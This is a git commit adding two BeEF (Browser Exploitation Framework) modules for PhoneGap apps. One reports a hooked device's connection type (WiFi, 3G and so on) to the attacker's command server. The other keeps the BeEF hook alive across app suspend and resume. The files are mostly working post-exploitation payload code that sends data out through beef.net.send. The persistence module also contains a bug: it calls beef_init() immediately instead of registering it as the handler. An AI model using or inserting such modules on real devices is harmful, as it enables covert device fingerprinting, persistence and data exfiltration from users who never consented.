added new phonegap modules, to check connection type (wifi/3g) and ensure beef hook survives suspend resume of app.
This commit is contained in:
37
modules/phonegap/phonegap_check_connection/command.js
Normal file
37
modules/phonegap/phonegap_check_connection/command.js
Normal file
@@ -0,0 +1,37 @@
|
||||
//
|
||||
// Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
beef.execute(function() {
|
||||
var connection_type;
|
||||
|
||||
getConnectionType = function() {
|
||||
var states = {};
|
||||
states[Connection.UNKNOWN] = 'Unknown connection';
|
||||
states[Connection.ETHERNET] = 'Ethernet connection';
|
||||
states[Connection.WIFI] = 'WiFi connection';
|
||||
states[Connection.CELL_2G] = 'Cell 2G connection';
|
||||
states[Connection.CELL_3G] = 'Cell 3G connection';
|
||||
states[Connection.CELL_4G] = 'Cell 4G connection';
|
||||
states[Connection.NONE] = 'No network connection';
|
||||
return states[navigator.network.connection.type];
|
||||
}
|
||||
|
||||
try {
|
||||
connection_type = getConnectionType();
|
||||
} catch(e) {
|
||||
connection_type = "Unable to determine connection type."
|
||||
}
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "connection_type="+connection_type);
|
||||
});
|
||||
27
modules/phonegap/phonegap_check_connection/config.yaml
Normal file
27
modules/phonegap/phonegap_check_connection/config.yaml
Normal file
@@ -0,0 +1,27 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
# phonegap
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
phonegap_check_connection:
|
||||
enable: true
|
||||
category: "Phonegap"
|
||||
name: "Check connection"
|
||||
description: "Find out connection type e.g. Wifi, 3G.."
|
||||
authors: ["mh"]
|
||||
target:
|
||||
working: ["All"]
|
||||
27
modules/phonegap/phonegap_check_connection/module.rb
Normal file
27
modules/phonegap/phonegap_check_connection/module.rb
Normal file
@@ -0,0 +1,27 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
# phonegap
|
||||
#
|
||||
|
||||
class Phonegap_check_connection < BeEF::Core::Command
|
||||
|
||||
def post_execute
|
||||
content = {}
|
||||
content['result'] = @datastore['result']
|
||||
save content
|
||||
end
|
||||
|
||||
end
|
||||
31
modules/phonegap/phonegap_persist_resume/command.js
Normal file
31
modules/phonegap/phonegap_persist_resume/command.js
Normal file
@@ -0,0 +1,31 @@
|
||||
//
|
||||
// Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
|
||||
//
|
||||
// persist on over app's sleep/wake events
|
||||
beef.execute(function() {
|
||||
var result;
|
||||
|
||||
try {
|
||||
document.addEventListener("resume", beef_init(), false);
|
||||
result = 'success';
|
||||
|
||||
} catch (e) {
|
||||
for(var n in e) {
|
||||
result+= n + " " + e[n] + "\n";
|
||||
}
|
||||
}
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result);
|
||||
});
|
||||
27
modules/phonegap/phonegap_persist_resume/config.yaml
Normal file
27
modules/phonegap/phonegap_persist_resume/config.yaml
Normal file
@@ -0,0 +1,27 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
|
||||
# persist on over app's sleep/wake events
|
||||
beef:
|
||||
module:
|
||||
phonegap_persist_resume:
|
||||
enable: true
|
||||
category: "Phonegap"
|
||||
name: "Persist resume"
|
||||
description: "Persist over applications sleep/wake events"
|
||||
authors: ["mh"]
|
||||
target:
|
||||
working: ["All"]
|
||||
26
modules/phonegap/phonegap_persist_resume/module.rb
Normal file
26
modules/phonegap/phonegap_persist_resume/module.rb
Normal file
@@ -0,0 +1,26 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
|
||||
# persist on over app's sleep/wake events
|
||||
class Phonegap_persist_resume < BeEF::Core::Command
|
||||
|
||||
def post_execute
|
||||
content = {}
|
||||
content['result'] = @datastore['result']
|
||||
save content
|
||||
end
|
||||
|
||||
end
|
||||
Reference in New Issue
Block a user